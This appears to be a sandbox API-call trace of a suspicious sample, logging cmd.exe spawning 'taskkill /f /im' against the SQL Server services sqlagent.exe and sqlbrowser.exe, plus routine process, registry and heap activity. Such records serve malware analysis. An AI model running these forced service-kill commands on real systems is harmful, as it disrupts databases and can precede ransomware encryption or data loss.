	[0033.553] GetStartupInfoW (in: lpStartupInfo=0x2af468 | out: lpStartupInfo=0x2af468*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xac, hStdOutput=0xb8, hStdError=0xbc)) 
	[0033.553] GetProcessHeap () returned 0x490000
	[0033.553] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x18) returned 0x490a10
	[0033.553] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0033.553] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0033.553] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0033.553] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0033.553] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0033.553] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0033.553] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0033.553] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0033.553] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0033.553] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0033.553] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0033.553] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0033.553] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0033.553] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0033.553] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0033.553] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0033.553] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0033.553] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0033.553] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0033.553] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0033.553] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0033.553] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0033.553] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0033.553] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0033.553] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0033.554] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0033.554] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0033.554] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0033.554] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0033.554] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0033.554] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0033.554] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0033.554] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0033.554] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0033.554] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0033.554] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0033.554] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0033.554] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0033.554] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0033.554] GetProcessHeap () returned 0x490000
	[0033.554] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x490a10 | out: hHeap=0x490000) returned 1
	[0033.554] GetProcessHeap () returned 0x490000
	[0033.554] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0xa) returned 0x49fee0
	[0033.554] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1
	[0033.556] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill  /f /im sqlagent.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2af508*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill  /f /im sqlagent.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2af554 | out: lpCommandLine="taskkill  /f /im sqlagent.exe ", lpProcessInformation=0x2af554*(hProcess=0x78, hThread=0x74, dwProcessId=0xb5c, dwThreadId=0xb60)) returned 1
	[0033.560] CloseHandle (hObject=0x74) returned 1
	[0033.561] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0033.561] GetProcessHeap () returned 0x490000
	[0033.561] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a5ed0 | out: hHeap=0x490000) returned 1
	[0033.561] GetEnvironmentStringsW () returned 0x4b4a48*
	[0033.561] GetProcessHeap () returned 0x490000
	[0033.561] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0xb36) returned 0x4a4090
	[0033.561] FreeEnvironmentStringsW (penv=0x4b4a48) returned 1
	[0033.561] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0033.884] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x2af448 | out: lpExitCode=0x2af448*=0x80) returned 1
	[0033.884] CloseHandle (hObject=0x78) returned 1
	[0033.884] _vsnwprintf (in: _Buffer=0x2af590, _BufferCount=0x13, _Format="%08X", _ArgList=0x2af454 | out: _Buffer="00000080") returned 8
	[0033.884] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1
	[0033.884] GetProcessHeap () returned 0x490000
	[0033.884] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a4090 | out: hHeap=0x490000) returned 1
	[0033.884] GetEnvironmentStringsW () returned 0x4a4090*
	[0033.884] GetProcessHeap () returned 0x490000
	[0033.884] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0xb5c) returned 0x4a5ed0
	[0033.885] FreeEnvironmentStringsW (penv=0x4a4090) returned 1
	[0033.885] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0033.885] GetProcessHeap () returned 0x490000
	[0033.885] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a5ed0 | out: hHeap=0x490000) returned 1
	[0033.885] GetEnvironmentStringsW () returned 0x4a4090*
	[0033.885] GetProcessHeap () returned 0x490000
	[0033.885] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0xb5c) returned 0x4a5ed0
	[0033.885] FreeEnvironmentStringsW (penv=0x4a4090) returned 1
	[0033.885] GetProcessHeap () returned 0x490000
	[0033.885] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x49fee0 | out: hHeap=0x490000) returned 1
	[0033.885] DeleteProcThreadAttributeList (in: lpAttributeList=0x2af4ac | out: lpAttributeList=0x2af4ac) 
	[0033.885] _get_osfhandle (_FileHandle=1) returned 0xb8
	[0033.885] SetConsoleMode (hConsoleHandle=0xb8, dwMode=0x0) returned 0
	[0033.885] _get_osfhandle (_FileHandle=1) returned 0xb8
	[0033.885] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a9b41ac | out: lpMode=0x4a9b41ac) returned 0
	[0033.885] _get_osfhandle (_FileHandle=0) returned 0xac
	[0033.885] GetConsoleMode (in: hConsoleHandle=0xac, lpMode=0x4a9b41b0 | out: lpMode=0x4a9b41b0) returned 0
	[0033.885] GetConsoleOutputCP () returned 0x1b5
	[0033.886] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a9b4260 | out: lpCPInfo=0x4a9b4260) returned 1
	[0033.886] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0033.886] exit (_Code=128) 

Process:
	id = "7"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\syswow64\\taskkill.exe"
	page_root = "0x4cc27000"
	os_pid = "0xb5c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "6"
	os_parent_pid = "0xb54"
	cmd_line = "taskkill  /f /im sqlagent.exe "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 106
	os_tid = 0xb60


Thread:
	id = 107
	os_tid = 0xb64


Thread:
	id = 108
	os_tid = 0xb68


Thread:
	id = 109
	os_tid = 0xb6c


Thread:
	id = 110
	os_tid = 0xb70


Process:
	id = "8"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x4bba6000"
	os_pid = "0xb78"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
	cmd_line = "cmd.exe /c \"taskkill /f /im sqlbrowser.exe \""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 111
	os_tid = 0xb7c

	[0033.970] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2efcd4 | out: lpSystemTimeAsFileTime=0x2efcd4*(dwLowDateTime=0xf9ec6220, dwHighDateTime=0x1d52dc4)) 
	[0033.970] GetCurrentProcessId () returned 0xb78
	[0033.970] GetCurrentThreadId () returned 0xb7c
	[0033.970] GetTickCount () returned 0x18c57
	[0033.970] QueryPerformanceCounter (in: lpPerformanceCount=0x2efccc | out: lpPerformanceCount=0x2efccc*=15428026436) returned 1
	[0033.971] GetModuleHandleA (lpModuleName=0x0) returned 0x4aca0000
	[0033.971] __set_app_type (_Type=0x1) 
	[0033.971] __p__fmode () returned 0x74eb31f4
	[0033.971] __p__commode () returned 0x74eb31fc
	[0033.972] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4acc21a6) returned 0x0
	[0033.972] __getmainargs (in: _Argc=0x4acc4238, _Argv=0x4acc4240, _Env=0x4acc423c, _DoWildCard=0, _StartInfo=0x4acc4140 | out: _Argc=0x4acc4238, _Argv=0x4acc4240, _Env=0x4acc423c) returned 0
	[0033.972] GetCurrentThreadId () returned 0xb7c
	[0033.972] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb7c) returned 0x60
	[0033.972] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0033.972] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0033.972] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0033.972] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0033.973] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2efc64 | out: phkResult=0x2efc64*=0x0) returned 0x2
	[0033.973] VirtualQuery (in: lpAddress=0x2efc9b, lpBuffer=0x2efc34, dwLength=0x1c | out: lpBuffer=0x2efc34*(BaseAddress=0x2ef000, AllocationBase=0x1f0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0033.973] VirtualQuery (in: lpAddress=0x1f0000, lpBuffer=0x2efc34, dwLength=0x1c | out: lpBuffer=0x2efc34*(BaseAddress=0x1f0000, AllocationBase=0x1f0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0033.973] VirtualQuery (in: lpAddress=0x1f1000, lpBuffer=0x2efc34, dwLength=0x1c | out: lpBuffer=0x2efc34*(BaseAddress=0x1f1000, AllocationBase=0x1f0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0033.973] VirtualQuery (in: lpAddress=0x1f3000, lpBuffer=0x2efc34, dwLength=0x1c | out: lpBuffer=0x2efc34*(BaseAddress=0x1f3000, AllocationBase=0x1f0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0033.973] VirtualQuery (in: lpAddress=0x2f0000, lpBuffer=0x2efc34, dwLength=0x1c | out: lpBuffer=0x2efc34*(BaseAddress=0x2f0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x100000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c
	[0033.973] GetConsoleOutputCP () returned 0x1b5
	[0033.973] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4acc4260 | out: lpCPInfo=0x4acc4260) returned 1
	[0033.973] SetConsoleCtrlHandler (HandlerRoutine=0x4acbe72a, Add=1) returned 1
	[0033.973] _get_osfhandle (_FileHandle=1) returned 0xac
	[0033.973] SetConsoleMode (hConsoleHandle=0xac, dwMode=0x0) returned 0
	[0033.973] _get_osfhandle (_FileHandle=1) returned 0xac
	[0033.973] GetConsoleMode (in: hConsoleHandle=0xac, lpMode=0x4acc41ac | out: lpMode=0x4acc41ac) returned 0
	[0033.974] _get_osfhandle (_FileHandle=0) returned 0xc8
	[0033.974] GetConsoleMode (in: hConsoleHandle=0xc8, lpMode=0x4acc41b0 | out: lpMode=0x4acc41b0) returned 0
	[0033.974] GetEnvironmentStringsW () returned 0x582010*
	[0033.974] GetProcessHeap () returned 0x570000
	[0033.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xaca) returned 0x582ae8
	[0033.974] FreeEnvironmentStringsW (penv=0x582010) returned 1
	[0033.974] GetProcessHeap () returned 0x570000
	[0033.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x4) returned 0x580c48
	[0033.974] GetEnvironmentStringsW () returned 0x582010*
	[0033.974] GetProcessHeap () returned 0x570000
	[0033.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xaca) returned 0x5835c0
	[0033.974] FreeEnvironmentStringsW (penv=0x582010) returned 1
	[0033.974] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2eebd4 | out: phkResult=0x2eebd4*=0x68) returned 0x0
	[0033.974] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2eebdc, lpData=0x2eebe0, lpcbData=0x2eebd8*=0x1000 | out: lpType=0x2eebdc*=0x0, lpData=0x2eebe0*=0x0, lpcbData=0x2eebd8*=0x1000) returned 0x2
	[0033.975] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2eebdc, lpData=0x2eebe0, lpcbData=0x2eebd8*=0x1000 | out: lpType=0x2eebdc*=0x4, lpData=0x2eebe0*=0x1, lpcbData=0x2eebd8*=0x4) returned 0x0
	[0033.975] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2eebdc, lpData=0x2eebe0, lpcbData=0x2eebd8*=0x1000 | out: lpType=0x2eebdc*=0x0, lpData=0x2eebe0*=0x1, lpcbData=0x2eebd8*=0x1000) returned 0x2
	[0033.975] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2eebdc, lpData=0x2eebe0, lpcbData=0x2eebd8*=0x1000 | out: lpType=0x2eebdc*=0x4, lpData=0x2eebe0*=0x0, lpcbData=0x2eebd8*=0x4) returned 0x0
	[0033.975] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2eebdc, lpData=0x2eebe0, lpcbData=0x2eebd8*=0x1000 | out: lpType=0x2eebdc*=0x4, lpData=0x2eebe0*=0x40, lpcbData=0x2eebd8*=0x4) returned 0x0
	[0033.975] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2eebdc, lpData=0x2eebe0, lpcbData=0x2eebd8*=0x1000 | out: lpType=0x2eebdc*=0x4, lpData=0x2eebe0*=0x40, lpcbData=0x2eebd8*=0x4) returned 0x0
	[0033.975] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2eebdc, lpData=0x2eebe0, lpcbData=0x2eebd8*=0x1000 | out: lpType=0x2eebdc*=0x0, lpData=0x2eebe0*=0x40, lpcbData=0x2eebd8*=0x1000) returned 0x2
	[0033.975] RegCloseKey (hKey=0x68) returned 0x0
	[0033.975] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2eebd4 | out: phkResult=0x2eebd4*=0x68) returned 0x0
	[0033.975] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2eebdc, lpData=0x2eebe0, lpcbData=0x2eebd8*=0x1000 | out: lpType=0x2eebdc*=0x0, lpData=0x2eebe0*=0x40, lpcbData=0x2eebd8*=0x1000) returned 0x2
	[0033.975] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2eebdc, lpData=0x2eebe0, lpcbData=0x2eebd8*=0x1000 | out: lpType=0x2eebdc*=0x4, lpData=0x2eebe0*=0x1, lpcbData=0x2eebd8*=0x4) returned 0x0
	[0033.975] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2eebdc, lpData=0x2eebe0, lpcbData=0x2eebd8*=0x1000 | out: lpType=0x2eebdc*=0x0, lpData=0x2eebe0*=0x1, lpcbData=0x2eebd8*=0x1000) returned 0x2
	[0033.975] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2eebdc, lpData=0x2eebe0, lpcbData=0x2eebd8*=0x1000 | out: lpType=0x2eebdc*=0x4, lpData=0x2eebe0*=0x0, lpcbData=0x2eebd8*=0x4) returned 0x0
	[0033.975] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2eebdc, lpData=0x2eebe0, lpcbData=0x2eebd8*=0x1000 | out: lpType=0x2eebdc*=0x4, lpData=0x2eebe0*=0x9, lpcbData=0x2eebd8*=0x4) returned 0x0
	[0033.975] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2eebdc, lpData=0x2eebe0, lpcbData=0x2eebd8*=0x1000 | out: lpType=0x2eebdc*=0x4, lpData=0x2eebe0*=0x9, lpcbData=0x2eebd8*=0x4) returned 0x0
	[0033.975] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2eebdc, lpData=0x2eebe0, lpcbData=0x2eebd8*=0x1000 | out: lpType=0x2eebdc*=0x0, lpData=0x2eebe0*=0x9, lpcbData=0x2eebd8*=0x1000) returned 0x2
	[0033.975] RegCloseKey (hKey=0x68) returned 0x0
	[0033.975] time (in: timer=0x0 | out: timer=0x0) returned 0x5d16302a
	[0033.975] srand (_Seed=0x5d16302a) 
	[0033.975] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im sqlbrowser.exe \""
	[0033.975] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im sqlbrowser.exe \""
	[0033.976] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4acc5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0033.980] GetProcessHeap () returned 0x570000
	[0033.980] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x210) returned 0x582010
	[0033.980] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x582018, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0033.980] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4acd0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0033.981] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4acd0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0033.981] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4acd0640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0033.981] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0033.981] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0033.981] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0033.981] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0033.981] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0033.981] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0033.981] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0033.981] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0033.981] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0033.981] GetProcessHeap () returned 0x570000
	[0033.981] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x582ae8 | out: hHeap=0x570000) returned 1
	[0033.981] GetEnvironmentStringsW () returned 0x582228*
	[0033.981] GetProcessHeap () returned 0x570000
	[0033.981] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xae2) returned 0x584b88
	[0033.981] FreeEnvironmentStringsW (penv=0x582228) returned 1
	[0033.981] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4acd0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0033.981] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4acd0640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0033.981] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0033.981] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0033.981] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0033.981] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0033.981] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0033.981] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0033.981] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0033.982] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0033.982] GetProcessHeap () returned 0x570000
	[0033.982] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x54) returned 0x585678
	[0033.982] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x2ef9a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0033.982] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x2ef9a0, lpFilePart=0x2ef99c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2ef99c*="Desktop") returned 0x25
	[0033.982] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0033.982] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x2ef71c | out: lpFindFileData=0x2ef71c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x581e90
	[0033.982] FindClose (in: hFindFile=0x581e90 | out: hFindFile=0x581e90) returned 1
	[0033.982] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x2ef71c | out: lpFindFileData=0x2ef71c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x581e90
	[0033.982] FindClose (in: hFindFile=0x581e90 | out: hFindFile=0x581e90) returned 1
	[0033.982] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0033.982] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x2ef71c | out: lpFindFileData=0x2ef71c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x581e90
	[0033.982] FindClose (in: hFindFile=0x581e90 | out: hFindFile=0x581e90) returned 1
	[0033.983] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0033.983] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0033.983] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0033.983] GetProcessHeap () returned 0x570000
	[0033.983] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x584b88 | out: hHeap=0x570000) returned 1
	[0033.983] GetEnvironmentStringsW () returned 0x584098*
